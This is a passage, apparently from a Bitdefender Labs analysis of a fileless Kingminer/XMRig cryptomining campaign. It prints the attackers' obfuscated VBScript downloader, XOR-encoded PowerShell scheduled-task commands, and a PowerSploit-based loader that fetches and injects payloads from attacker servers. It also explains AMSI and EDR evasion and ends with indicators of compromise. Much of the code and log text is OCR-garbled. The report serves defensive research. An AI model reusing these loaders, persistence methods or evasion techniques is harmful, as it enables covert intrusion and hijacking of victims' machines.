fso.DeleteFile mulué&tlcyyzdozckfwgjlapy ("\ghjj”) & tlcyyzdozckfwgjlapy (“jkkjkj”), True
If Not fso.FileExists (mulu&tlcyyzdozckfwgjlapy (“\ghjjjkk”) & tlcyyzdozckfwgjlapy (M-
jk3”)) Then
mulu=mulué&tlcyyzdozckfwgjlapy (V\”) &Year (Now () ) &Month (Now () ) &Day (Now () ) &Hour (Now () ) &=
Day (Now () ) &Minute (Now () )

fso.CreateFolder mulu

klu=mulué&tlcyyzdozckfwgjlapy ("\x.”) & tlcyyzdozckfwqgjlapy (“txt”)
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cpllu=mulus&tlcyyzdozckfwgjlapy (V\”) &Minute (Now () ) &tlcyyzdozckfwgjlapy (Y.cp”) & tl-
cyyzdozckfwgjlapy (V1)

If fso.FileExists (mklu) Then

dgvghtrbjhoprcpp mklu, klu

Else

eeceudtczgdkwtijncas wpdpbhrdgigjmb (url&kwenjian) ,klu,mklu, passl,pass2,pass3

End If

If fso.FileExists (klu) Then

epahtbgjownex xfwztzstrianbdobpjyg (urllé&cplwen)

Else

fso.DeleteFile mklu, True

End If

If fso.FileExists (cpllu) Then

anhywquhuxkmsbrah.currentdirectory = mulu

CreateObject (tlcyyzdozckfwgjlapy (“She”) & tlcyyzdozckfwgjlapy (“1ll.Application”)) .Con-
trolPanelItem(cpllu)

End If

End If

Function tlcyyzdozckfwgjlapy (ByVal anhywquhuxkmsbrah)

For 1 = 1 To Len (anhywgquhuxkmsbrah) Step 2

c = Mid (anhywgquhuxkmsbrah, i, mmrvsowgpi)

tlcyyzdozckfwgjlapy = tlcyyzdozckfwgjlapy & Chr (Chr(38) & Chr(72) & c)
Next

End Function

The above script detects the CPU architecture it runs on and downloads a 32-bit (for x86 systems) or a 64-bit (for x64
systems) version of the payload (line 187) under the file x.txt in the root of the Public user’s folder. This file is then
decoded into mum.txt, which generally is an MZPE file XORed with a single byte key. We will talk about these files in detail
when we discuss payloads. It also downloads a base64 encoded payload, decodes and moves it in \Users\Public\<date_
hour_minute>\ with a .cpl extension and runs it (line 193). An interesting aspect of this script is that the same Domain
Generation Algorithm applies to build the URL to the payloads.

Scheduled Task based execution

The other method by which r1.txt executes code is by scheduling tasks. Attackers chose to use the ActiveX object
Schedule.Service instead of interacting with schtasks.exe. The out-of-process execution nature of COM breaks the links
between the task scheduler and the task, exploiting a blind spot in some AV and EDR systems that don't include a COM
monitoring component. There are two scheduled tasks with two different scripts. The first task, with the name Windows
System Helper, runs once every time the system starts. The second task, Windows Update Monitor, runs at a time interval
hard-coded in the script (line 108). In our case, it ran every 28 minutes.

Windows System Helper

This task runs at every system startup with the command line

system startup command line

powershell.exe -c “$sc = New-Object -ComObject ScriptControl;$sc.Language = ‘VB-
Script’;$p='5C717538792934387A34387B346D224B7D6C3879293825385B6A7D796C~
7D577A727D7B6C303A4F4BTB6AT71686C364B707D74743A31224B7D6C387A3825387929365D607D~
7TB303A766B747777736D6838767D6F6B367F2A2B6C706A367B77753A31225C77384F7071747D~
3856776C387A364B6CT7C576D6C36596C5D767C577E4B6C6ATD7975227B3825387A364B6C7C576D~
6C364A7D797C59747430312254777768225C7175387C347D34387E226D38253830707D60303061
7D796A3076776F303131352A282828313E5577766C703076776F3031313E307C79613076776F~
303131442B2A313E30617D796A3076776F303131352A2828283131313E3A7E7C797D367B77753A224B7D6C~
387C382538567D6F384A7D7F5D6068227C3648796C6CT7TD6AT763825383A30447C6329342B6531443630447C~
6329342B6531443630447C6329342B6531443630292A28313A227C36517F76776A7TD5B796B~
7D3825385E79746B7D227C365F74777A79743825384C6A6D7D224B7D6C387D3825387C365D607D7B6D6CT7D~
307B3122517E387D365B776D766C38263828384C707D76226D3825387B706A307D36516C7D75302831366B~
6D7A75796C7B707D6B36516C7D75302831313E7B706A307D36516C7D75302831366B6D7A75796C7B707D~
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6B36516C7D75302931313E7B706A307D36516C7D75302831366B6D7A75796C7B707D6B36516C—
7D75302A31313E7B706A307D36516C7D75302831366B6D7A75796C7B707D6B36516C7D75302B31313E~
3ATETET070367B77753A225D767C38517E225E6D767B6CT7177763879305A614E7974386B31225E7
76A387138253829384C7738547D76306B31384B6C7D68382A227B38253855717C~
306B34387134382A3122517E38516B566D757D6A717B3055717C306B3438713438293131384C707D76~—
227938253879383E385B706A303A3E503A383E387B31225D746B7D227938253879383E~
385B706A303A3E503A383E387B383E3855717C306B3438713833382A3438
2A31312271382538713833382A225D767C38517E22567D606C225D767C385E6D767B6CT717776225F7D—
6C577A727D7TB6C303A6B7TB6AT1686C223A3E3AT706C6C682237373A3E7571766D6C7D3076776F3031313E6B7D—
TB77767C3076776F3031313E3A363A3E6D3E3A376A2929366C606C3A31" ;Sp = for($i=0; $1i -1t
Sp.length; $i+=2) {[char] (([byte] [char] [int]::Parse ($p.substring($i,2),’HexNumber’))
-bxor 29 -bxor 30 -bxor 27 -bxor 21 -bxor 21)};Start-Sleep -Seconds 120;$sc.Ad-
dCode ((-join $p) -Jjoin Y V)”

The scheduled task executes Powershell to spawn a new ScriptControl COM object and executes the VBScript embedded
in the command line. Malware authors choose this approach for multiple reasons. First, the execution remains file-
less. Second, to avoid detection from various Powershell emulators that know how to emulate only Powershell code.
Furthermore, as a COM object is used to execute VBScript, the command bypasses the AMSI scan of the encoded buffer.

The decoded script is the same downloader as presented before. It generates the URL in the same manner, concatenating
the current minute and second with the current date and fdae.com. This time, however, it downloads r77.txt from the
attacker server and executes it. The downloaded script is a variant of the first stage script (r7.txt) with randomized
variables and some randomized hard-coded values, like XOR keys and the interval between the executions. Its purpose
is to ensure persistence on the system by registering the scheduled tasks and the WMI event consumer again, in case
they were deleted in the meantime.

Windows Update Monitor

The command which runs every 28 minutes is similar to the one used in the Windows System Helper task. It uses the
ScriptControl COM object and feeds the decrypted VBScript to it.

script running every 28 minutes

powershell.exe -c “$sc = New-Object -ComObject ScriptControl; $sc.Language = ‘VBScri
pt’ ;Sp="7776387D6A6ATT6A386ATD6B6D757D38767D606C225C717538792934387A34387B346D224B~
7D6C3879293825385B6A7D796CT7D577A727D7B6C303A4F4BTB6A71686C364B707D74743A31224B~
7D6C387A3825387929365D607D7B303A766B747777736D6838767D6F6B367F2A2B6CT706A367B~
77753A31225C77384F7071747D3856776C387A364B6CT7C576D6C36596C5D767C577E4B6C6ATD~
7975227B3825387A364B6CT7C576D6C364A7D797C59747430312254777768225C7175387C347D34387E22
6D38253830707D603030617D796A3076776F303131352A282828313E5577766C703076776F3031313E30
7C79613076776F303131442B2A313E30617D796A3076776F303131352A2828283131313E3A7E7C797D~
367B77753A224B7D6C387C382538567D6F384A7D7F5D6068227C3648796C6CTD6AT763825383A30447C~
6329342B6531443630447C6329342B6531443630447C6329342B6531443630292A28313A227C~
36517F76776A7D5B796B7D3825385E79746B7D227C365F74777A79743825384C6A6D7D224B7D6C~
387D3825387C365D607D7B6D6C7D307B3122517E387D365B776D766C38263828384C707D76226D~-
3825387B706A307D36516C7D75302831366B6D7A75796C7B707D6B36516C7D75302831313E~
7B706A307D36516C7D75302831366B6D7A75796C7B707D6B36516C7D75302931313E~
7B706A307D36516C7D75302831366B6D7A75796C7B707D6B36516C7D75302A31313E~
7B706A307D36516C7D75302831366B6D7A75796C7B707D6B36516C7D75302B31313E~
3ATETF7070367B77753A225D767C38517E225E6D767B6C7177763879305A614E7974386B3
1225E776A387138253829384C7738547D76306B31384B6C7D68382A227B38253855717C~
306B34387134382A3122517E38516B566D757D6A717B3055717C306B3438713438293131384C~
707D76227938253879383E385B706A303A3E503A383E387B31225D746B7D227938253879383E~
385B706A303A3E503A383E387B383E3855717C306B3438713833382A34382A3131227138253871383
3382A225D767C38517E22567D606C225D767C385E6D767B6C717776224B7D6C38703825385B6A7D~
796C7D577A727D7B6C303A554B4055542A364B7D6A6E7D6A405554504C4C483A312270364B7D6C-
4C71757D576D6C6B382928282828342928282828342928282828342E2828282822703677687D76383A5F~
5D4C3A34383A706C6C682237373A3E7571766D6CT7D3076776F3031313E6B7D7B77767C~
3076776F3031313E3A363A3E6D3E3A3768776F366C606C3A34387E79746B7D2270366B7D~-
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767C3031227D607D7B6D6C7D30793070366A7D6B6877766B7D4CTD606C31317 ;$p = for ($i=0; $i -1t
Sp.length; $i+=2) {[char] (([byte] [char] [int]::Parse ($p.substring($i,2),’HexNumber’))
-bxor 29 -bxor 30 -bxor 27 -bxor 21 -bxor 21)};$sc.AddCode((-join $p) -join * “)”

The decrypted script is again the VBScript downloader discussed above, in this case, downloading a file named pow.txt.
This is a big obfuscated Powershell script with random names for variables. By its structure, however, we can recognize
that it's based on a PowerSploit component [10] performing reflective PE injection. The last few lines of the script contain
a downloader and decryptor part for obtaining the payload from the attacker’s server before injecting it into the victim
rundll32 process. This shows that the threat actors are capable of customizing existing tools to their own needs.

downloader part
Function Main
{
if (($PSCmdlet.MyInvocation.BoundParameters[“Debug”] -ne $null) -and $PSCmdlet.My-
Invocation.BoundParameters|[“Debug”].IsPresent)
{
SLSuyfjvk99 = “Continue”
1
Write-Verbose “zaqwer”
$ScceXiQlG99 = New-Object System.Net.WebClient
SPEUrl1=$QmDVMERT99+”64.txt”
if ([IntPtr]::Size -1t 8)
{
SPEUrl1=$QmDVMERT99+”32.txt”
1
for ($i=1;$1 -le 2;$i++)
{
if (Test-Path $ming)
{
[Byte[]]1$csWsfcNL99 = [System.IO.File]::ReadAllBytes ((Resolve-Path $ming))
if ($ScsWsfcecNL99[-1] -eq 100 -and S$csWsfcNL99[-2] -eqg 99 )
{
Syid=$csWsfcNL99[-4]
Syi5=$csWsfcNL99[-5]
Syi6=$csWsfcNL99[-6]
for ($i=0; $i -1t S$csWsfcNL99.count; $i++) {
ScsWsfcNL99([$i] = $csWsfcNL99[$i] -bxor $yi6 -bxor $yi5 -bxor $yid

ScsWsfcNL99[-6]= ScsWsfcNLO9[-7]
ScsWsfcNL99[-5]= ScsWsfcNLO9[-7]
ScsWsfcNL99[-4]1= ScsWsfcNLO9[-7]
break

}

}

[Byte[]]1$csWsfcNL99 = $SccceXiQlG99.DownloadData ($SPEUrl)
if ($ScsWsfcecNL99[-1] -eg 98 -and $csWsfcNL99[-2] -eqg 97 )
{

Syil=Get-Random -minimum 1 -maximum 127
Syi2=Get-Random -minimum 1 -maximum 127
Syi3=Get-Random -minimum 1 -maximum 127
[Byte[]]1$cnSWOelc99=$csWsfcNL99

for ($1i=0; $1i -1t $cnSWOelc99.count; $i++) {

$cnSWoOelc99[$i] = $cnSWOelc99[$i] -bxor $yil -bxor $yi2 -bxor $yi3
}

$cnSWoelc99[-4]=5$yil

$cnSWOelc99[-5]=38yi2

$cnSWoelc99[-6]1=5yi3

$cnSWoelc99[-11=100

16
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$cnSWOelc99[-2]1=99
[System.IO.File]::WriteAllBytes (Sming, $cnSWOelc99)
break;

}

Start-Sleep -Seconds 100

}

ScsWsfcNL99[-1]=ScsWsfcNL99[-4]

ScsWsfcNL99 [-2]=ScsWsfcNL99[-4]

for ($i=0; $i -1t S$csWsfcNL99.count; S$i++)
ScsWsfcNL99[$1i] = $csWsfcecNL99[$1] -bxor $csWsfcNL99[-3]

SpTQivNW199 = ($ScsWsfcNL99[0..1] |
if (SpTQivNW199 -ne ‘MZ’)
{

oe

{[Char] $ }) -join '

throw ‘zagwer’
1
ScsWsfcNL99[0] = 0
ScsWsfcNL99([1] 0
if ($dfLyyUjK99 -ne $null -and $dfLyyUjK99 -ne ‘')
{

SAfLyyUjK99

“ReflectiveExe $dfLyyUjK99”
1

else

{

SdfLyyUjK99 “ReflectiveExe”

}
Invoke-Command -ScriptBlock $RbcTW1Ad99 -ArgumentList @ ($ScsWsfcNL99, S$SCDSPHCQU99,
$VzCLxgnW99, S$RfdpoXGg99, SPRHVoCQZ99)

It downloads in memory either a 32-bit or a 64-bit payload (depending on the CPU architecture it runs on), it invokes
rundll32.exe with a benign Control Panel ltem existing on the system (main.cpl) and it injects the payload into the memory
of rundll32. The command line of rundll32.exe contains the parameters that the payload will use:

“C:\Windows\system32\rundl1l32.exe” Shell32.dll,Control RunDLL “C:\Windows\system32\
main.cpl” -QmDVMERT99 hxxp://133142.320dcfdae.com/ -ming dad.txt -PRHVoCgZ99

The URL that appears in the command line is controlled by the attacker, and the mining tool can communicate with it

when needed.

This time we have dad.txt downloaded to the same folder structure \Users\Public\<date_hour_minute> and executing in
the context of the injected rundll32.exe.

We havethisinfection chain and payload delivery method made up of complex file-less executions, capable of downloading
and executing anything the attacker wants. So let’s look at the delivered payloads:

Payloads
We had captured several payloads downloaded from the attacker’s server when we generated the URLs as the scripts do
with the DGA.

mum.txt and dad.txt, a family of miners

The file mum.txt arrives on the system as a result of the WMI event consumer script. It is an MZPE encrypted with a single
byte XOR. Upon decryption, we identified it as a version of XMRig, a widespread cryptocurrency miner. In subsequent
runs, it downloads slightly different variants of XMRig to evade static detection. These files are not present on Virustotal.

| Property |Va\ue |

CompanyMame WWW.XMIig.com

FileDescription XMRig miner

FileVersion 5.53

LegalCopyright Copyright (C) 2016-2020 xmrig.com
OriginalFilename xmrig.exe

ProductMame XMRig } 7
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Dad.txt is also a variant of XMRig, downloaded as a result of the scheduled Powershell script running periodically. It
tries to evade static detection by employing the same single byte XOR encryption to its MZPE.

<random_numbers.c

pl

Downloaded from the WMI event consumer script, a very small MZPE with some exported functions generally exported
by .cpl files; however, their code seems to be only a stub. Control Panel Items (.cpl files) are small executables that
allow users to change system settings. Threat actors frequently use these files because they may bypass application
whitelisting and, by launching a .cpl file, Windows automatically executes them in the context of a rundlI32 process

launched from control.exe. This might seem benign at first, when an incident responder checks what runs on the

system.

The downloaded .cpl files are always variants of the Kingminer cryptocurrency miner and they are detected as such on

Virustotal.

\
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| Too much ado about a crypto-miner?

The payloads themselves are not necessarily disruptive for the users (except that the system might underperform

due to high CPU usage). The dangerous part is the payload delivery method, consisting of various defense-evasion
techniques. The scripts developed by the malware authors are hard to detect for multiple reasons. Randomized
variable names, obfuscated code, and payloads encrypted with random keys might evade static detection if the rest of
the script is not specific enough. Also, using WMI and COM objects during execution might avoid behavioral detection
because attackers rely on legitimate system components to perform malicious actions. Let’'s see some examples
captured with Procmon during dynamic analysis:

The first one shows us that using the Schedule.Service ActiveX object for task scheduling moves the action into the
context of a legitimate svchost.exe process, responsible for handling these kinds of requests during the operating
system’s execution.

SyncType: SyncTypeCrealeSecton, PageProtecion: IPAGE

SUCCESS SyncType: SyncTypeOther
7784 &I Load nage SUCCESS Inege Ease: 0eAfcl7c10000. Image Size: Ocbc000
7784 EhCeeateFiehap. FILE LOCKED WI... SyncTyoe: SyncTypeCreateSecton, PageFiotection: IPAGE_NOCACHE
7734 BhCreateFieMapp. SUCCESS SyneType: EyncTypeOther
7784 BhCeeateFieMap. FILE LOCKED WI... SyncTyoe: SyncTypeCreateSecton, PagePiotection: IPAGE_NOCACHE
7784 BACeeateFisMap. SUCCESS SyncType: SyncTypeOther
7784 &I Load nage SUCCESS Inege Base: OeAfcOb5c0000. Image Size: 0:20000
7784 EhCeeateFiehap. FILE LOCKED WI... SyncTyoe: SyncTypeCreateSecton, PageFiotection: IPAGE_NOCACHE
7734 BACreateFieMapp. SUCCESS SyneType: SyncTypeOther
7784 & Load nage Windows\System32umlie.di SUCCESS Inage Ease: OcTCOES0000D, Image Size: 0¢39000
1016 E{RagCreatekey HKLM\SOFTWARE Microsolt\Windows NT\CumertVersion\Schdhle TaskCache Tree\Windows ipdateMa . SUCCESS Desired Accass: All Avcsss. Dispostion: REG_CREATED_NEW_KEY
1016 @4RegSetVabie  HXLM\SDFTWARE\Mi Windows NT*CumentVersion\Schedule\TaskCache VTree Wi . SUCCESS Type: REG_BINARY, Length: 164, Data: 11 00 04 BC 72 00 00 00 88 00 00 00 00 00 00 00
1016 EXFegSetValie  HKLM\SOFTWARE\Microsoft\Windows NT*CumentVersion'\Schedule\ TaskCache V Tree \Windows UpdateMo. . SUCCESS Type: FEG_SZ, Length: 20, Data: {48986F 33-E0ES-4E] GADOABAE 91 183A3}
1016 #4RacSetVabe  HXLM\.SDFTWARE:Microsoh\Windows NT'CurertVersionSchaduleh TaskCache' Tree \Windows pdateMo. . SUCCESS Type: REG_DWORD, Length: 4, Data: 3
1016 @4RecCreatekey  HXLM\SDFTWARE Micosoh \Windows NTYCurment VersionScheduleh Task Cache' Tasks | {43985F33-EDE6-... SUCCESS Desired Access: All Accsss, Dispostion: REG_CREATED_NEW_KEY
1016 E{RagSetValie  HKLM\SOFTWARE Microsolt\Windows NT\CumertVersion\Sehedhle\ Task Cache Tasks \{48385F33-EDEE- . SUCCESS Type: REG_SZ. Length 44. Data: \Wirdows Updateonitor
1016 @4RegSetVabie  HXLM\SDFTWARE Microaok \Windows NTYCumertVersion\Schedule\ Task Cache Tasks 48985733 EDEG... SUCCESS Type: REG_BINARY, Length: 32, Data: 31 05 EC E148 75 64 E20F C4 8067 3D 158210
1016 EXFecCreatekey  HKLM\SOFTWARE\Micosoft \Windows NTCumentVersion\Schedule\ TaskCache  Flain\ (439867 33-E0E6-4... SUCCESS Uesired Access: All Access, Dispostion: REG_CREATED_NEW_KEY
1016 #4RacSetVabie  HXLMLSDFTWARE:Microsoh\Windows NT'CurertVersion ' Schaduleh TaskCache' Taske' {42985F33 EDEE-... SUCCESS Type: REG_DWORD, Length: 4, Data: 65538
1016 @4RecSetVabie  HXLM\SDFTWARE Micosoh \Windows NTYCument Version\Scheduleh Task Cache' Tasks | {43985F33-EDEG-... SUCCESS Type: REG_SZ, Length 44, Data: \Wirdows UpdateMoritor
1016 E{RegSetVabie  HXLMLSDFTWARE Microsoft\Windows NTYCumentVarsion \Schadule\ TaskCache' Tasks | {43985F33-EDE6-. . SLUCCESS Tyne: REG_BINARY. Length: 304. Data: 1700 00 DI 00 0D 0D 00 01 07 05 O 00 00 18 00
1016 @8RegSetVabe  HXLM\SDFTWARE Microaok \Windows NTYCumerdVersion\Schedule\ Task Cache Tasks\ 48985733 EDEG... SUCCESS Type: REG_BINARY, Length: 4,622, Date: 03 00 OC 00 00 0047 0D 75 DI 74 00 6B 00 67 0
1016 FhQuey .C: ystem3Z\Tasks Wi itor SUCCESS
1016 2k SetEndCOFRielnt...C:\WindowsSyatem32\ Tasks\WindowsLipdateMbritor SUCCESS EndCfFle 0
1016 3 Inf...C: s Tasks\Widows! itar SUCCESS HlocationSize: 0
1016 A Wrte Fil € i Tasks\WindowsL i SUCCESS Cffset: 0. Length 2. Priorty: Nomial
1016 [ShWetcFil c: ¥ Tasks\Wr ) SUCCESS Cffact: 2, Length: 7.952. Prcrity: Nermal
1016 FhFusibufesskle C: ystem3Z\Tasks Wi itor SUCCESS
1016 EhWri=Fil € ystem 32 Taska'WindowsUpdateMoritor SUCCESS Offaet: 0, Lencth: 8,132, 170 Flaga: Non-cached, Pagng 1/0, Synchraneus Paging |/0, Prorty: Nomal
1016 3 e C: 3 Tasks\Widows. itar SUCCESS Infomiation: DACL

The second example demonstrates how attackers make it challenging to correlate where execution comes from,

by launching a powershell.exe from a scheduled task (svchost.exe), thus splitting the process tree so the original
wscript.exe is nowhere to find. This way, even if one of the payloads gets detected by a security solution, there is no
information about the link between the payload and the first stage script or even the scheduled tasks, and the bot can
persist on the system.

Jundl3Zexe 03 £F Procsas Stat Parert PID: 4600, Commard ling:

Another way to abuse legitimate Windows components is running scripts from scrcons.exe, which is responsible
for executing event consumer scripts. Its parent is svchost.exe, making it hard to trace back to the original script.
Also, because it frequently runs on a system in legitimate cases, some AV might not even monitor its actions. In the
following images, we can see how this process starts up, and it downloads our payloads.

482 Wsuchost exe 696 [hCreate FleMapp. .C:\Windows\System32\whem\screons exe SUCCESS  Synclype:SmcTpeOther
4:482 . W svchost exe 696 L7 Frocess Create  C:'\Windows \system32\wbem'\scrcons exs SUCCESS PID: 7228, Command line: C:\Windows \system32'whem'scrcons exe -Embedding
4:482. "W scroons exe 7228 L% Frocess Start SUCCESS Parent P1D: 636, Command line: C:\Windows\system32\wbem'scrcons exe -Embedding,
7228 daTCF Conrect  DESKTOF-DSS0S/Elocaldamain:51943 > 185234 215,133 hito SUCCESS Lencth. 0, mss: 1480, sackopt. 0.1sopt. 0, wsoot. 0. rovwin. 84240, evwinscale. 0, sndwinscale. 0, seanum: 0. connid. 0
7228 daTCP Send DESKTCP-D5505JE localdomain:31543 -> 185 234 215.133 ftp SUCCESS Length: 180 stamime: 452562, enchime: 452363, segnum: 0, connid: 0
7228 da TCF TCPCopy  DESKTOP-DSSO5JE localdomain 51543 > 185 234 215 133tp SUCCESS Length: 1460, seanum- 0. connid 0
7228 daTCF TCPCopy  DESKTOF-DSS0SJE lncaldomain'5 1543 -» 185 234 216 133hmp SLICCESS Length 1420 seqnum- 0_connid 0
7225 A4 TCF Receive  DESKTOP-DSS05JE localdomain 51943 -» 185 234 215 133 hitp SUCCESS Length® 2830, seqnum- 0. connid 0
7228 A% TCF TCPCopy  DESKTOF-DSS0SJE localdomain ] 843 - 185 234 715 133hitp SUCCESS Length: 2420, seqnum- 0, connid
7228 J4TCP TCPCopy  DESKTOP-DSS0SJE localdomain'S] 543> 185 234 215 133 ttp SUCCESS Length: 1400, s=qnum: 0, connid: 0
7228 b TCF Receive  DESKTOR-DSSOBJE ocaldomain:51943 -» 185 334 216133 nitp SUCCESS Length: 4320, seqnum: 0, connid 0
7218 S TCP TCPCopy  DESKTOP-DSSOSJE Jocaldomain:51943 -~ 185 234 215133 nitp SUCCESS Length: 4380, seqnum: 0, connid: 0
7318 A4 TCF TCPCopy  DESKTCP-DSBORIE localdomain 51643 -» 185 324 215 133hitp SUCCESS Length: 1380, seqnum: 0. connid - 0
7228 AWTCF Receive  DESKTCF DEBOSJE localdomain:51643 » 185 334 315 133 hitp SUCCESS Length: 760, eeqnum: 0, connid - 0
7228 AW TCP TCPCopy  DESKTCP-DSSOSE localdomain:5 1943 -» 185 234 215.133hitp SUCCESS Length: 5840, seqnum: 0, connid: 0
7228 AW TCF TCPCopy  DESKTCF DSBOSJE localdomain 51643 » 185 334 315 133 hitp SUCCESS Length: 1360, eeqnum: 0, connid - 0
7220 W TCP Receive  DESKTCP-DSSOSJE localdomain:5 1943 - 105 234 215.133hitp SUCCESS Length: 7200, seqnum: 0, connid: 0
7228 BaWntaF\Ia C:\Users'\Publich2020527 162748« txt SUCCESS Offset: D, Length: 2,048, Priority: Normal
7228 hWiiteFile C:iUsershPublich 2020527162748« txt SUCCESS Offset: 2,048, Length: 2,048
7228 BhWiiteFile C:\Users\Public’\ 2020527162748« bt SUCCESS Offset: 4,096, Length: 2,048, Priority: Normal
7228 BhWiiteFile C:\Users\Publich\ 2020527162748« bt SUCCESS Offset: 6,144, Length: 2,048
7228 BhWrteFile C:iUsers\Publich2020527162748x txt SUCCESS Offset: 8,192, Length: 2,048
7228 [ThWriteFile C:iUsershPublich 2020527162748« txt SUCCESS Offset: 10,240, Length: 2,048
7228 BhWiteFile C:\UsershPublich 2020527162748« txt SUCCESS Offset: 12,288, Length: 2,048
7228 BhWiiteFile C:\Users\Public’\ 2020527162748« bt SUCCESS Offset: 14,336, Length: 2,048
7228 guWnteF\Ie C:\Users'Public' 2020527162748\« txt SUCCESS Offset: 16,384, Length: 2,048, Priority: Nommal
7228 [ThWriteFile C:\Users\Publich 2020527162748\« txt SUCCESS Offset: 18,432, Length: 2,048
7228 hWiiteFile C:iUsershPublich 2020527162748« txt SUCCESS Offset: 20,480, Length: 2,048
7228 BhWiiteFle C:\Users\Publich\ 2020527162748« bt SUCCESS Offset: 22,528, Length: 2,048
7228 BhWiiteFile C:\Users\Public\2020527162748 x bt SUCCESS Offset: 24,576, Length: 2,048
7228 BhWrteFile C:iUsers\Publich2020527162748x txt SUCCESS Offset: 26,624, Length: 2,048
7228 [ThWriteFile C:iUsershPublich 2020527162748« txt SUCCESS Offset: 28,672, Length: 2,048
7228 BhWiteFile C:\UsershPublich 2020527162748« txt SUCCESS Offset: 30.720. Length: 2,048
7228 BhWiiteFile C:\Users\Public’\ 2020527162748« bt SUCCESS Offset: 32,768, Length: 2,048, Priority: Normal
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Finally, by mimicking Control Panel Items, the attackers leverage how Windows executes .cpl files by default. First,
control.exe launches and invokes rundll32.exe to load Shell32.dlIl with a specific function, Control_RunDLL to load the
.cpl file in memory.

raayatern 32%und!32 exe * Shel 32 dil Control_RunOLL 'C-\Users\Publc'\ 20205271 6274046 ool .
tindowe\ayatem 32 undllaZ s Shall32.dI Corrol_RunDLL "C:\Usere \Pubiic\ 2020627152748 S epl”

ool oxe
4481 Jundl3Z exe

Then, rundll32.exe performs all the actions, and executing a cryptocurrency miner uses the system'’s resources to the
maximum. In the following image, we can see how a rundll32.exe process communicates with the C&C.

4491 [ Jundi3Zexe 7308 S4TCPConned  DESKTOP-DB3OSE Jocaldomain:51 544 -» 135.234.216.133.5768
4451 | Jundl3z exe 7308 4hTCP Send DESKTOP-OB30SIE Incaldomain 51544 -» 135 234 216 1336768
2291 | Jundi3zexe TR A4TCP TCPCopy  DESKTOP-OBSOAIE ocal 5224 216

4451, | |undll32exe 7309 4hTCP Receive  DESKTOP-DESOSIE localdomain:51944 -» 135.234.216.133:6 768

- 0. 15001, 0. wsopt. 0, rewwin. 84240, revwinscale. 0, sndwinscale. 0, seqrum. 0, cornid. 0
endime: 457811, seqrum: 0. cornid: O

Lencth. 0, mss: 1431
Length: 517 stanim

Length: 663, seqnum: 0, canid: 0

Another layer of defense evasion consists of using a Domain Generation Algorithm to avoid blacklisting the URLs by
which infected machines download payloads.

Impact

We did not see any component of this malware designed to steal information or disrupt any activity. However, with the
complex persistence mechanism and payload delivery, attackers have the means to deploy more advanced threats.
The only purpose of the attackers for now is to stay hidden for as long as possible to mine cryptocurrencies. However,
the fact that users got infected points to some underlying issues, and IT administrators should be careful about them.
Weak credentials to access SQL databases allowed attackers to add malicious commands and start the infection.
Lack of Windows updates that fix vulnerabilities might mean that they can use kernel exploits like EternalBlue to spread
the malware further. An essential measure to defend against such attacks is to harden the environment by enforcing
strong passwords and keeping software components up to date.

| Campaign distribution

Infections

max

Bitdefender /Labs
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| Conclusion

While cryptocurrency miners don't get much attention due to their low impact on users, sometimes the way these
campaigns are organized might teach us, security researchers and practitioners, a few lessons. The whole infection
chain shows us that the actors behind it are capable of conducting a sophisticated attack. They combine publicly
available tools like Mimikatz or Powersploit with scripts customized to serve their needs (r1.txt, downloader). The
payload delivery method is dangerous if it goes undetected, so security solutions should detect and correlate as
many techniques as possible to provide adequate protection. Users should strengthen their passwords and keep their
operating systems and installed software up to date.
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| Appendix 1. Indicators of Compromise

Hashes

Kingminer:
TFC5F79D6D3209A427D04046F237372E
21454A23AAE073FF7B96DDA061946B8C
XMRig:
3EA2D5E55A58309B49EADAT4A007B3B8
B7070B9B317BAC578A9AC487C31879BC

3A5964C56EF16456A6B6911BEB549372

IP Address

185.234.216.133
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